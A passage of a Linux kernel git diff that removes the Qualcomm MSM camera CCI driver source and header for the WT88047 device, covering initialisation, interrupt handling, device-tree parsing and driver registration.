devm_pinctrl_get(&cci_dev->pdev->dev); - if (IS_ERR_OR_NULL(cci_pctrl->pinctrl)) { - pr_err("%s:%d devm_pinctrl_get cci_pinctrl failed\n", - __func__, __LINE__); - return -EINVAL; - } - cci_pctrl->gpio_state_active = pinctrl_lookup_state( - cci_pctrl->pinctrl, - CCI_PINCTRL_STATE_DEFAULT); - if (IS_ERR_OR_NULL(cci_pctrl->gpio_state_active)) { - pr_err("%s:%d look up state for active state failed\n", - __func__, __LINE__); - return -EINVAL; - } - cci_pctrl->gpio_state_suspend = pinctrl_lookup_state( - cci_pctrl->pinctrl, - CCI_PINCTRL_STATE_SLEEP); - if (IS_ERR_OR_NULL(cci_pctrl->gpio_state_suspend)) { - pr_err("%s:%d look up state for suspend state failed\n", - __func__, __LINE__); - return -EINVAL; - } - return 0; -} - -static int32_t msm_cci_init(struct v4l2_subdev *sd, - struct msm_camera_cci_ctrl *c_ctrl) -{ - uint8_t i = 0; - int32_t rc = 0, ret = 0; - struct cci_device *cci_dev; - enum cci_i2c_master_t master; - - cci_dev = v4l2_get_subdevdata(sd); - if (!cci_dev || !c_ctrl) { - pr_err("%s:%d failed: invalid params %p %p\n", __func__, - __LINE__, cci_dev, c_ctrl); - rc = -ENOMEM; - return rc; - } - if (cci_dev->ref_count++) { - CDBG("%s ref_count %d\n", __func__, cci_dev->ref_count); - master = c_ctrl->cci_info->cci_i2c_master; - CDBG("%s:%d master %d\n", __func__, __LINE__, master); - if (master < MASTER_MAX && master >= 0) { - mutex_lock(&cci_dev->cci_master_info[master].mutex); - /* Set reset pending flag to TRUE */ - cci_dev->cci_master_info[master].reset_pending = TRUE; - /* Set proper mask to RESET CMD address */ - if (master == MASTER_0) - msm_camera_io_w_mb(CCI_M0_RESET_RMSK, - cci_dev->base + CCI_RESET_CMD_ADDR); - else - msm_camera_io_w_mb(CCI_M1_RESET_RMSK, - cci_dev->base + CCI_RESET_CMD_ADDR); - /* wait for reset done irq */ - rc = wait_for_completion_timeout( - &cci_dev->cci_master_info[master]. - reset_complete, - CCI_TIMEOUT); - if (rc <= 0) - pr_err("%s:%d wait failed %d\n", __func__, - __LINE__, rc); - mutex_unlock(&cci_dev->cci_master_info[master].mutex); - } - return 0; - } - -/*Added by Jinshui.Liu@Camera 20140221 start for cci error*/ -#ifdef CONFIG_MACH_WT88047 - wake_lock(&cci_dev->cci_wakelock); -#endif -/*Added by Jinshui.Liu@Camera 20140221 end*/ - ret = msm_cci_pinctrl_init(cci_dev); - if (ret < 0) { - pr_err("%s:%d Initialization of pinctrl failed\n", - __func__, __LINE__); - cci_dev->cci_pinctrl_status = 0; - } else { - cci_dev->cci_pinctrl_status = 1; - } - rc = msm_camera_request_gpio_table(cci_dev->cci_gpio_tbl, - cci_dev->cci_gpio_tbl_size, 1); - if (cci_dev->cci_pinctrl_status) { - ret = pinctrl_select_state(cci_dev->cci_pinctrl.pinctrl, - cci_dev->cci_pinctrl.gpio_state_active); - if (ret) - pr_err("%s:%d cannot set pin to active state\n", - __func__, __LINE__); - } - if (rc < 0) { - cci_dev->ref_count--; - CDBG("%s: request gpio failed\n", __func__); - goto request_gpio_failed; - } - rc = msm_cam_clk_enable(&cci_dev->pdev->dev, cci_clk_info, - cci_dev->cci_clk, cci_dev->num_clk, 1); - if (rc < 0) { - cci_dev->ref_count--; - CDBG("%s: clk enable failed\n", __func__); - goto clk_enable_failed; - } - enable_irq(cci_dev->irq->start); - cci_dev->hw_version = msm_camera_io_r_mb(cci_dev->base + - CCI_HW_VERSION_ADDR); - pr_info("%s:%d: hw_version = 0x%x\n", __func__, __LINE__, - cci_dev->hw_version); - cci_dev->cci_master_info[MASTER_0].reset_pending = TRUE; - msm_camera_io_w_mb(CCI_RESET_CMD_RMSK, cci_dev->base + - CCI_RESET_CMD_ADDR); - msm_camera_io_w_mb(0x1, cci_dev->base + CCI_RESET_CMD_ADDR); - rc = wait_for_completion_timeout( - &cci_dev->cci_master_info[MASTER_0].reset_complete, - CCI_TIMEOUT); - if (rc <= 0) { - pr_err("%s: wait_for_completion_timeout %d\n", - __func__, __LINE__); - if (rc == 0) - rc = -ETIMEDOUT; - goto reset_complete_failed; - } - for (i = 0; i < MASTER_MAX; i++) - cci_dev->master_clk_init[i] = 0; - msm_cci_set_clk_param(cci_dev, c_ctrl); - msm_camera_io_w_mb(CCI_IRQ_MASK_0_RMSK, - cci_dev->base + CCI_IRQ_MASK_0_ADDR); - msm_camera_io_w_mb(CCI_IRQ_MASK_0_RMSK, - cci_dev->base + CCI_IRQ_CLEAR_0_ADDR); - msm_camera_io_w_mb(0x1, cci_dev->base + CCI_IRQ_GLOBAL_CLEAR_CMD_ADDR); - cci_dev->cci_state = CCI_STATE_ENABLED; - - return 0; - -reset_complete_failed: - disable_irq(cci_dev->irq->start); - msm_cam_clk_enable(&cci_dev->pdev->dev, cci_clk_info, - cci_dev->cci_clk, cci_dev->num_clk, 0); -clk_enable_failed: - if (cci_dev->cci_pinctrl_status) { - ret = pinctrl_select_state(cci_dev->cci_pinctrl.pinctrl, - cci_dev->cci_pinctrl.gpio_state_suspend); - if (ret) - pr_err("%s:%d cannot set pin to suspend state\n", - __func__, __LINE__); - } - msm_camera_request_gpio_table(cci_dev->cci_gpio_tbl, - cci_dev->cci_gpio_tbl_size, 0); -request_gpio_failed: - cci_dev->ref_count--; - return rc; -} - -static int32_t msm_cci_release(struct v4l2_subdev *sd) -{ - uint8_t i = 0, rc = 0; - struct cci_device *cci_dev; - - cci_dev = v4l2_get_subdevdata(sd); - if (!cci_dev->ref_count || cci_dev->cci_state != CCI_STATE_ENABLED) { - pr_err("%s invalid ref count %d / cci state %d\n", - __func__, cci_dev->ref_count, cci_dev->cci_state); - return -EINVAL; - } - if (--cci_dev->ref_count) { - CDBG("%s ref_count Exit %d\n", __func__, cci_dev->ref_count); - return 0; - } - disable_irq(cci_dev->irq->start); - msm_cam_clk_enable(&cci_dev->pdev->dev, cci_clk_info, - cci_dev->cci_clk, cci_dev->num_clk, 0); - if (cci_dev->cci_pinctrl_status) { - rc = pinctrl_select_state(cci_dev->cci_pinctrl.pinctrl, - cci_dev->cci_pinctrl.gpio_state_suspend); - if (rc) - pr_err("%s:%d cannot set pin to active state\n", - __func__, __LINE__); - } - cci_dev->cci_pinctrl_status = 0; - msm_camera_request_gpio_table(cci_dev->cci_gpio_tbl, - cci_dev->cci_gpio_tbl_size, 0); - for (i = 0; i < MASTER_MAX; i++) - cci_dev->master_clk_init[i] = 0; - -/*Added by Jinshui.Liu@Camera 20140221 start for cci error*/ -#ifdef CONFIG_MACH_WT88047 - wake_unlock(&cci_dev->cci_wakelock); -#endif -/*Added by Jinshui.Liu@Camera 20140221 end*/ - cci_dev->cci_state = CCI_STATE_DISABLED; - - return 0; -} - -static int32_t msm_cci_config(struct v4l2_subdev *sd, - struct msm_camera_cci_ctrl *cci_ctrl) -{ - int32_t rc = 0; - CDBG("%s line %d cmd %d\n", __func__, __LINE__, - cci_ctrl->cmd); - switch (cci_ctrl->cmd) { - case MSM_CCI_INIT: -#ifdef CONFIG_MACH_WT88047 -/*hufeng 2014-11-05 add to aviod ref_count chaos if cci_init and cci_release concurrency happened*/ - mutex_lock(&ref_count_lock); - rc = msm_cci_init(sd, cci_ctrl); - mutex_unlock(&ref_count_lock); -#else - rc = msm_cci_init(sd, cci_ctrl); -#endif - break; - case MSM_CCI_RELEASE: -#ifdef CONFIG_MACH_WT88047 -/*hufeng 2014-11-05 add to aviod ref_count chaos if cci_init and cci_release concurrency happened*/ - mutex_lock(&ref_count_lock); - rc = msm_cci_release(sd); - mutex_unlock(&ref_count_lock); -#else - rc = msm_cci_release(sd); -#endif - break; - case MSM_CCI_I2C_READ: -#ifdef CONFIG_MACH_WT88047 -/*hufeng 2014-11-05 add to aviod ref_count chaos if cci_init and cci_release concurrency happened*/ - mutex_lock(&ref_count_lock); - rc = msm_cci_i2c_read_bytes(sd, cci_ctrl); - mutex_unlock(&ref_count_lock); -#else - rc = msm_cci_i2c_read_bytes(sd, cci_ctrl); -#endif - break; - case MSM_CCI_I2C_WRITE: -#ifdef CONFIG_MACH_WT88047 -/*hufeng 2014-11-05 add to aviod ref_count chaos if cci_init and cci_release concurrency happened*/ - mutex_lock(&ref_count_lock); - rc = msm_cci_i2c_write(sd, cci_ctrl); - mutex_unlock(&ref_count_lock); -#else - rc = msm_cci_i2c_write(sd, cci_ctrl); -#endif - break; - case MSM_CCI_GPIO_WRITE: - break; - default: - rc = -ENOIOCTLCMD; - } - CDBG("%s line %d rc %d\n", __func__, __LINE__, rc); - cci_ctrl->status = rc; - return rc; -} - -static irqreturn_t msm_cci_irq(int irq_num, void *data) -{ - uint32_t irq; - struct cci_device *cci_dev = data; - irq = msm_camera_io_r_mb(cci_dev->base + CCI_IRQ_STATUS_0_ADDR); - msm_camera_io_w_mb(irq, cci_dev->base + CCI_IRQ_CLEAR_0_ADDR); - msm_camera_io_w_mb(0x1, cci_dev->base + CCI_IRQ_GLOBAL_CLEAR_CMD_ADDR); - msm_camera_io_w_mb(0x0, cci_dev->base + CCI_IRQ_GLOBAL_CLEAR_CMD_ADDR); - CDBG("%s CCI_I2C_M0_STATUS_ADDR = 0x%x\n", __func__, irq); - if (irq & CCI_IRQ_STATUS_0_RST_DONE_ACK_BMSK) { - if (cci_dev->cci_master_info[MASTER_0].reset_pending == TRUE) { - cci_dev->cci_master_info[MASTER_0].reset_pending = - FALSE; - complete(&cci_dev->cci_master_info[MASTER_0]. - reset_complete); - } - if (cci_dev->cci_master_info[MASTER_1].reset_pending == TRUE) { - cci_dev->cci_master_info[MASTER_1].reset_pending = - FALSE; - complete(&cci_dev->cci_master_info[MASTER_1]. - reset_complete); - } - } - if ((irq & CCI_IRQ_STATUS_0_I2C_M0_RD_DONE_BMSK) || - (irq & CCI_IRQ_STATUS_0_I2C_M0_Q0_REPORT_BMSK) || - (irq & CCI_IRQ_STATUS_0_I2C_M0_Q1_REPORT_BMSK)) { - cci_dev->cci_master_info[MASTER_0].status = 0; - complete(&cci_dev->cci_master_info[MASTER_0].reset_complete); - } - if ((irq & CCI_IRQ_STATUS_0_I2C_M1_RD_DONE_BMSK) || - (irq & CCI_IRQ_STATUS_0_I2C_M1_Q0_REPORT_BMSK) || - (irq & CCI_IRQ_STATUS_0_I2C_M1_Q1_REPORT_BMSK)) { - cci_dev->cci_master_info[MASTER_1].status = 0; - complete(&cci_dev->cci_master_info[MASTER_1].reset_complete); - } - if (irq & CCI_IRQ_STATUS_0_I2C_M0_Q0Q1_HALT_ACK_BMSK) { - cci_dev->cci_master_info[MASTER_0].reset_pending = TRUE; - msm_camera_io_w_mb(CCI_M0_RESET_RMSK, - cci_dev->base + CCI_RESET_CMD_ADDR); - } - if (irq & CCI_IRQ_STATUS_0_I2C_M1_Q0Q1_HALT_ACK_BMSK) { - cci_dev->cci_master_info[MASTER_1].reset_pending = TRUE; - msm_camera_io_w_mb(CCI_M1_RESET_RMSK, - cci_dev->base + CCI_RESET_CMD_ADDR); - } - if (irq & CCI_IRQ_STATUS_0_I2C_M0_ERROR_BMSK) { - pr_err("%s:%d MASTER_0 error 0x%x\n", __func__, __LINE__, irq); - cci_dev->cci_master_info[MASTER_0].status = -EINVAL; - msm_camera_io_w_mb(CCI_M0_HALT_REQ_RMSK, - cci_dev->base + CCI_HALT_REQ_ADDR); - } - if (irq & CCI_IRQ_STATUS_0_I2C_M1_ERROR_BMSK) { - pr_err("%s:%d MASTER_1 error 0x%x\n", __func__, __LINE__, irq); - cci_dev->cci_master_info[MASTER_1].status = -EINVAL; - msm_camera_io_w_mb(CCI_M1_HALT_REQ_RMSK, - cci_dev->base + CCI_HALT_REQ_ADDR); - } - return IRQ_HANDLED; -} - -static int msm_cci_irq_routine(struct v4l2_subdev *sd, u32 status, - bool *handled) -{ - struct cci_device *cci_dev = v4l2_get_subdevdata(sd); - irqreturn_t ret; - CDBG("%s line %d\n", __func__, __LINE__); - ret = msm_cci_irq(cci_dev->irq->start, cci_dev); - CDBG("%s: msm_cci_irq return %d\n", __func__, ret); - *handled = TRUE; - return 0; -} - -static long msm_cci_subdev_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - int32_t rc = 0; - CDBG("%s line %d\n", __func__, __LINE__); - switch (cmd) { - case VIDIOC_MSM_CCI_CFG: - rc = msm_cci_config(sd, arg); - break; - case MSM_SD_SHUTDOWN: { - return rc; - } - default: - rc = -ENOIOCTLCMD; - } - CDBG("%s line %d rc %d\n", __func__, __LINE__, rc); - return rc; -} - -static struct v4l2_subdev_core_ops msm_cci_subdev_core_ops = { - .g_chip_ident = &msm_cci_subdev_g_chip_ident, - .ioctl = &msm_cci_subdev_ioctl, - .interrupt_service_routine = msm_cci_irq_routine, -}; - -static const struct v4l2_subdev_ops msm_cci_subdev_ops = { - .core = &msm_cci_subdev_core_ops, -}; - -static const struct v4l2_subdev_internal_ops msm_cci_internal_ops; - -static void msm_cci_init_cci_params(struct cci_device *new_cci_dev) -{ - uint8_t i = 0, j = 0; - for (i = 0; i < NUM_MASTERS; i++) { - new_cci_dev->cci_master_info[i].status = 0; - mutex_init(&new_cci_dev->cci_master_info[i].mutex); - init_completion(&new_cci_dev-> - cci_master_info[i].reset_complete); - for (j = 0; j < NUM_QUEUES; j++) { - if (j == QUEUE_0) - new_cci_dev->cci_i2c_queue_info[i][j]. - max_queue_size = CCI_I2C_QUEUE_0_SIZE; - else - new_cci_dev->cci_i2c_queue_info[i][j]. - max_queue_size = CCI_I2C_QUEUE_1_SIZE; - } - } - return; -} - -static int32_t msm_cci_init_gpio_params(struct cci_device *cci_dev) -{ - int32_t rc = 0, i = 0; - uint32_t *val_array = NULL; - uint8_t tbl_size = 0; - struct device_node *of_node = cci_dev->pdev->dev.of_node; - struct gpio *gpio_tbl = NULL; - - cci_dev->cci_gpio_tbl_size = tbl_size = of_gpio_count(of_node); - CDBG("%s gpio count %d\n", __func__, tbl_size); - if (!tbl_size) { - pr_err("%s:%d gpio count 0\n", __func__, __LINE__); - return 0; - } - - gpio_tbl = cci_dev->cci_gpio_tbl = - kzalloc(sizeof(struct gpio) * tbl_size, GFP_KERNEL); - if (!gpio_tbl) { - pr_err("%s failed %d\n", __func__, __LINE__); - return 0; - } - - for (i = 0; i < tbl_size; i++) { - gpio_tbl[i].gpio = of_get_gpio(of_node, i); - CDBG("%s gpio_tbl[%d].gpio = %d\n", __func__, i, - gpio_tbl[i].gpio); - } - - val_array = kzalloc(sizeof(uint32_t) * tbl_size, GFP_KERNEL); - if (!val_array) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -ENOMEM; - goto ERROR1; - } - - rc = of_property_read_u32_array(of_node, "qcom,gpio-tbl-flags", - val_array, tbl_size); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR2; - } - for (i = 0; i < tbl_size; i++) { - gpio_tbl[i].flags = val_array[i]; - CDBG("%s gpio_tbl[%d].flags = %ld\n", __func__, i, - gpio_tbl[i].flags); - } - - for (i = 0; i < tbl_size; i++) { - rc = of_property_read_string_index(of_node, - "qcom,gpio-tbl-label", i, &gpio_tbl[i].label); - CDBG("%s gpio_tbl[%d].label = %s\n", __func__, i, - gpio_tbl[i].label); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR2; - } - } - - kfree(val_array); - return rc; - -ERROR2: - kfree(val_array); -ERROR1: - kfree(cci_dev->cci_gpio_tbl); - cci_dev->cci_gpio_tbl = NULL; - cci_dev->cci_gpio_tbl_size = 0; - return rc; -} - -static void msm_cci_init_default_clk_params(struct cci_device *cci_dev, - uint8_t index) -{ - /* default clock params are for 100Khz */ - cci_dev->cci_clk_params[index].hw_thigh = 78; - cci_dev->cci_clk_params[index].hw_tlow = 114; - cci_dev->cci_clk_params[index].hw_tsu_sto = 28; - cci_dev->cci_clk_params[index].hw_tsu_sta = 28; - cci_dev->cci_clk_params[index].hw_thd_dat = 10; - cci_dev->cci_clk_params[index].hw_thd_sta = 77; - cci_dev->cci_clk_params[index].hw_tbuf = 118; - cci_dev->cci_clk_params[index].hw_scl_stretch_en = 0; - cci_dev->cci_clk_params[index].hw_trdhld = 6; - cci_dev->cci_clk_params[index].hw_tsp = 1; -} - -static void msm_cci_init_clk_params(struct cci_device *cci_dev) -{ - int32_t rc = 0; - uint32_t val = 0; - uint8_t count = 0; - struct device_node *of_node = cci_dev->pdev->dev.of_node; - struct device_node *src_node = NULL; - - for (count = 0; count < I2C_MAX_MODES; count++) { - - if (I2C_STANDARD_MODE == count) - src_node = of_find_node_by_name(of_node, - "qcom,i2c_standard_mode"); - else if (I2C_FAST_MODE == count) - src_node = of_find_node_by_name(of_node, - "qcom,i2c_fast_mode"); - else - src_node = of_find_node_by_name(of_node, - "qcom,i2c_custom_mode"); - - rc = of_property_read_u32(src_node, "qcom,hw-thigh", &val); - CDBG("%s qcom,hw-thigh %d, rc %d\n", __func__, val, rc); - if (!rc) { - cci_dev->cci_clk_params[count].hw_thigh = val; - rc = of_property_read_u32(src_node, "qcom,hw-tlow", - &val); - CDBG("%s qcom,hw-tlow %d, rc %d\n", __func__, val, rc); - } - if (!rc) { - cci_dev->cci_clk_params[count].hw_tlow = val; - rc = of_property_read_u32(src_node, "qcom,hw-tsu-sto", - &val); - CDBG("%s qcom,hw-tsu-sto %d, rc %d\n", - __func__, val, rc); - } - if (!rc) { - cci_dev->cci_clk_params[count].hw_tsu_sto = val; - rc = of_property_read_u32(src_node, "qcom,hw-tsu-sta", - &val); - CDBG("%s qcom,hw-tsu-sta %d, rc %d\n", - __func__, val, rc); - } - if (!rc) { - cci_dev->cci_clk_params[count].hw_tsu_sta = val; - rc = of_property_read_u32(src_node, "qcom,hw-thd-dat", - &val); - CDBG("%s qcom,hw-thd-dat %d, rc %d\n", - __func__, val, rc); - } - if (!rc) { - cci_dev->cci_clk_params[count].hw_thd_dat = val; - rc = of_property_read_u32(src_node, "qcom,hw-thd-sta", - &val); - CDBG("%s qcom,hw-thd-sta %d, rc %d\n", __func__, - val, rc); - } - if (!rc) { - cci_dev->cci_clk_params[count].hw_thd_sta = val; - rc = of_property_read_u32(src_node, "qcom,hw-tbuf", - &val); - CDBG("%s qcom,hw-tbuf %d, rc %d\n", __func__, val, rc); - } - if (!rc) { - cci_dev->cci_clk_params[count].hw_tbuf = val; - rc = of_property_read_u32(src_node, - "qcom,hw-scl-stretch-en", &val); - CDBG("%s qcom,hw-scl-stretch-en %d, rc %d\n", - __func__, val, rc); - } - if (!rc) { - cci_dev->cci_clk_params[count].hw_scl_stretch_en = val; - rc = of_property_read_u32(src_node, "qcom,hw-trdhld", - &val); - CDBG("%s qcom,hw-trdhld %d, rc %d\n", - __func__, val, rc); - } - if (!rc) { - cci_dev->cci_clk_params[count].hw_trdhld = val; - rc = of_property_read_u32(src_node, "qcom,hw-tsp", - &val); - CDBG("%s qcom,hw-tsp %d, rc %d\n", __func__, val, rc); - } - if (!rc) - cci_dev->cci_clk_params[count].hw_tsp = val; - else - msm_cci_init_default_clk_params(cci_dev, count); - of_node_put(src_node); - src_node = NULL; - } - return; -} - -struct v4l2_subdev *msm_cci_get_subdev(void) -{ - return g_cci_subdev; -} - -static int msm_cci_get_clk_info(struct cci_device *cci_dev, - struct platform_device *pdev) -{ - uint32_t count; - int i, rc; - uint32_t rates[CCI_NUM_CLK_MAX]; - - struct device_node *of_node; - of_node = pdev->dev.of_node; - - count = of_property_count_strings(of_node, "clock-names"); - cci_dev->num_clk = count; - - CDBG("%s: count = %d\n", __func__, count); - if (count == 0) { - pr_err("%s: no clocks found in device tree, count=%d", - __func__, count); - return 0; - } - - if (count > CCI_NUM_CLK_MAX) { - pr_err("%s: invalid count=%d, max is %d\n", __func__, - count, CCI_NUM_CLK_MAX); - return -EINVAL; - } - - for (i = 0; i < count; i++) { - rc = of_property_read_string_index(of_node, "clock-names", - i, &(cci_clk_info[i].clk_name)); - CDBG("%s: clock-names[%d] = %s\n", __func__, - i, cci_clk_info[i].clk_name); - if (rc < 0) { - pr_err("%s:%d, failed\n", __func__, __LINE__); - return rc; - } - } - rc = of_property_read_u32_array(of_node, "qcom,clock-rates", - rates, count); - if (rc < 0) { - pr_err("%s:%d, failed", __func__, __LINE__); - return rc; - } - for (i = 0; i < count; i++) { - cci_clk_info[i].clk_rate = (rates[i] == 0) ? -1 : rates[i]; - CDBG("%s: clk_rate[%d] = %ld\n", __func__, i, - cci_clk_info[i].clk_rate); - } - return 0; -} - -static int msm_cci_probe(struct platform_device *pdev) -{ - struct cci_device *new_cci_dev; - int rc = 0; - pr_err("%s: pdev %p device id = %d\n", __func__, pdev, pdev->id); - new_cci_dev = kzalloc(sizeof(struct cci_device), GFP_KERNEL); - if (!new_cci_dev) { - CDBG("%s: no enough memory\n", __func__); - return -ENOMEM; - } - v4l2_subdev_init(&new_cci_dev->msm_sd.sd, &msm_cci_subdev_ops); - new_cci_dev->msm_sd.sd.internal_ops = &msm_cci_internal_ops; - snprintf(new_cci_dev->msm_sd.sd.name, - ARRAY_SIZE(new_cci_dev->msm_sd.sd.name), "msm_cci"); - v4l2_set_subdevdata(&new_cci_dev->msm_sd.sd, new_cci_dev); - platform_set_drvdata(pdev, &new_cci_dev->msm_sd.sd); - CDBG("%s sd %p\n", __func__, &new_cci_dev->msm_sd.sd); - if (pdev->dev.of_node) - of_property_read_u32((&pdev->dev)->of_node, - "cell-index", &pdev->id); - - rc = msm_cci_get_clk_info(new_cci_dev, pdev); - if (rc < 0) { - pr_err("%s: msm_cci_get_clk_info() failed", __func__); - return -EFAULT; - } - - new_cci_dev->ref_count = 0; - new_cci_dev->mem = platform_get_resource_byname(pdev, - IORESOURCE_MEM, "cci"); - if (!new_cci_dev->mem) { - CDBG("%s: no mem resource?\n", __func__); - rc = -ENODEV; - goto cci_no_resource; - } - new_cci_dev->irq = platform_get_resource_byname(pdev, - IORESOURCE_IRQ, "cci"); - CDBG("%s line %d cci irq start %d end %d\n", __func__, - __LINE__, - (int) new_cci_dev->irq->start, - (int) new_cci_dev->irq->end); - if (!new_cci_dev->irq) { - CDBG("%s: no irq resource?\n", __func__); - rc = -ENODEV; - goto cci_no_resource; - } - new_cci_dev->io = request_mem_region(new_cci_dev->mem->start, - resource_size(new_cci_dev->mem), pdev->name); - if (!new_cci_dev->io) { - CDBG("%s: no valid mem region\n", __func__); - rc = -EBUSY; - goto cci_no_resource; - } - - new_cci_dev->base = ioremap(new_cci_dev->mem->start, - resource_size(new_cci_dev->mem)); - if (!new_cci_dev->base) { - rc = -ENOMEM; - goto cci_release_mem; - } - rc = request_irq(new_cci_dev->irq->start, msm_cci_irq, - IRQF_TRIGGER_RISING, "cci", new_cci_dev); - if (rc < 0) { - CDBG("%s: irq request fail\n", __func__); - rc = -EBUSY; - goto cci_release_mem; - } - disable_irq(new_cci_dev->irq->start); - new_cci_dev->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x6; - msm_sd_register(&new_cci_dev->msm_sd); - new_cci_dev->pdev = pdev; - msm_cci_init_cci_params(new_cci_dev); - msm_cci_init_clk_params(new_cci_dev); - msm_cci_init_gpio_params(new_cci_dev); - rc = of_platform_populate(pdev->dev.of_node, NULL, NULL, &pdev->dev); - if (rc) - pr_err("%s: failed to add child nodes, rc=%d\n", __func__, rc); - new_cci_dev->cci_state = CCI_STATE_DISABLED; - g_cci_subdev = &new_cci_dev->msm_sd.sd; - CDBG("%s cci subdev %p\n", __func__, &new_cci_dev->msm_sd.sd); - CDBG("%s line %d\n", __func__, __LINE__); -/*Added by Jinshui.Liu@Camera 20140221 start for cci error*/ -#ifdef CONFIG_MACH_WT88047 - wake_lock_init(&new_cci_dev->cci_wakelock,WAKE_LOCK_SUSPEND,"msm_cci_wakelock"); -#endif -/*Added by Jinshui.Liu@Camera 20140221 end*/ -#ifdef CONFIG_MACH_WT88047 -/*hufeng 2014-11-05 add to aviod ref_count chaos if cci_init and cci_release concurrency happened*/ - mutex_init(&ref_count_lock); -#endif - return 0; - -cci_release_mem: - release_mem_region(new_cci_dev->mem->start, - resource_size(new_cci_dev->mem)); -cci_no_resource: - kfree(new_cci_dev); - return 0; -} - -static int __exit msm_cci_exit(struct platform_device *pdev) -{ - struct v4l2_subdev *subdev = platform_get_drvdata(pdev); - struct cci_device *cci_dev = - v4l2_get_subdevdata(subdev); - release_mem_region(cci_dev->mem->start, resource_size(cci_dev->mem)); - kfree(cci_dev); - return 0; -} - -static const struct of_device_id msm_cci_dt_match[] = { - {.compatible = "qcom,cci"}, - {} -}; - -MODULE_DEVICE_TABLE(of, msm_cci_dt_match); - -static struct platform_driver cci_driver = { - .probe = msm_cci_probe, - .remove = msm_cci_exit, - .driver = { - .name = MSM_CCI_DRV_NAME, - .owner = THIS_MODULE, - .of_match_table = msm_cci_dt_match, - }, -}; - -static int __init msm_cci_init_module(void) -{ - return platform_driver_register(&cci_driver); -} - -static void __exit msm_cci_exit_module(void) -{ - platform_driver_unregister(&cci_driver); -} - -module_init(msm_cci_init_module); -module_exit(msm_cci_exit_module); -MODULE_DESCRIPTION("MSM CCI driver"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.h deleted file mode 100644 index 83c9c86ac9d36..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.h +++ /dev/null @@ -1,197 +0,0 @@ -/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_CCI_H -#define MSM_CCI_H - -#include -#include -#include -#include -#include -#include -#include "msm_sd.h" -/*Added by Jinshui.Liu@Camera 20140221 start for cci error*/ -#ifdef CONFIG_MACH_WT88047 -#include -#endif -/*Added by Jinshui.Liu@Camera 20140221 end*/ - -#define NUM_MASTERS 2 -#define NUM_QUEUES 2 - -#define TRUE 1 -#define FALSE 0 - -#define CCI_PINCTRL_STATE_DEFAULT "cci_default" -#define CCI_PINCTRL_STATE_SLEEP "cci_suspend" -#define CCI_NUM_CLK_MAX 16 - -enum cci_i2c_queue_t { - QUEUE_0, - QUEUE_1, -}; - -struct msm_camera_cci_client { - struct v4l2_subdev *cci_subdev; - uint32_t freq; - enum i2c_freq_mode_t i2c_freq_mode; - enum cci_i2c_master_t cci_i2c_master; - uint16_t sid; - uint16_t cid; - uint32_t timeout; - uint16_t retries; - uint16_t id_map; -}; - -enum msm_cci_cmd_type { - MSM_CCI_INIT, - MSM_CCI_RELEASE, - MSM_CCI_SET_SID, - MSM_CCI_SET_FREQ, - MSM_CCI_SET_SYNC_CID, - MSM_CCI_I2C_READ, - MSM_CCI_I2C_WRITE, - MSM_CCI_GPIO_WRITE, -}; - -struct msm_camera_cci_wait_sync_cfg { - uint16_t line; - uint16_t delay; -}; - -struct msm_camera_cci_gpio_cfg { - uint16_t gpio_queue; - uint16_t i2c_queue; -}; - -struct msm_camera_cci_i2c_read_cfg { - uint16_t addr; - enum msm_camera_i2c_reg_addr_type addr_type; - uint8_t *data; - uint16_t num_byte; -}; - -struct msm_camera_cci_i2c_queue_info { - uint32_t max_queue_size; - uint32_t report_id; - uint32_t irq_en; - uint32_t capture_rep_data; -}; - -struct msm_camera_cci_ctrl { - int32_t status; - struct msm_camera_cci_client *cci_info; - enum msm_cci_cmd_type cmd; - union { - struct msm_camera_i2c_reg_setting cci_i2c_write_cfg; - struct msm_camera_cci_i2c_read_cfg cci_i2c_read_cfg; - struct msm_camera_cci_wait_sync_cfg cci_wait_sync_cfg; - struct msm_camera_cci_gpio_cfg gpio_cfg; - } cfg; -}; - -struct msm_camera_cci_master_info { - uint32_t status; - uint8_t reset_pending; - struct mutex mutex; - struct completion reset_complete; -}; - -struct msm_cci_clk_params_t { - uint16_t hw_thigh; - uint16_t hw_tlow; - uint16_t hw_tsu_sto; - uint16_t hw_tsu_sta; - uint16_t hw_thd_dat; - uint16_t hw_thd_sta; - uint16_t hw_tbuf; - uint8_t hw_scl_stretch_en; - uint8_t hw_trdhld; - uint8_t hw_tsp; -}; - -enum msm_cci_state_t { - CCI_STATE_ENABLED, - CCI_STATE_DISABLED, -}; - -struct cci_device { - struct platform_device *pdev; - struct msm_sd_subdev msm_sd; - struct v4l2_subdev subdev; - struct resource *mem; - struct resource *irq; - struct resource *io; - void __iomem *base; - - uint32_t hw_version; - uint8_t ref_count; - enum msm_cci_state_t cci_state; - uint32_t num_clk; - - struct clk *cci_clk[CCI_NUM_CLK_MAX]; - struct msm_camera_cci_i2c_queue_info - cci_i2c_queue_info[NUM_MASTERS][NUM_QUEUES]; - struct msm_camera_cci_master_info cci_master_info[NUM_MASTERS]; - struct msm_cci_clk_params_t cci_clk_params[I2C_MAX_MODES]; - struct gpio *cci_gpio_tbl; - uint8_t cci_gpio_tbl_size; - uint8_t master_clk_init[MASTER_MAX]; - struct msm_pinctrl_info cci_pinctrl; - uint8_t cci_pinctrl_status; -/*Added by Jinshui.Liu@Camera 20140221 start for cci error*/ -#ifdef CONFIG_MACH_WT88047 - struct wake_lock cci_wakelock; -#endif -/*Added by Jinshui.Liu@Camera 20140221 end*/ -}; - -enum msm_cci_i2c_cmd_type { - CCI_I2C_SET_PARAM_CMD = 1, - CCI_I2C_WAIT_CMD, - CCI_I2C_WAIT_SYNC_CMD, - 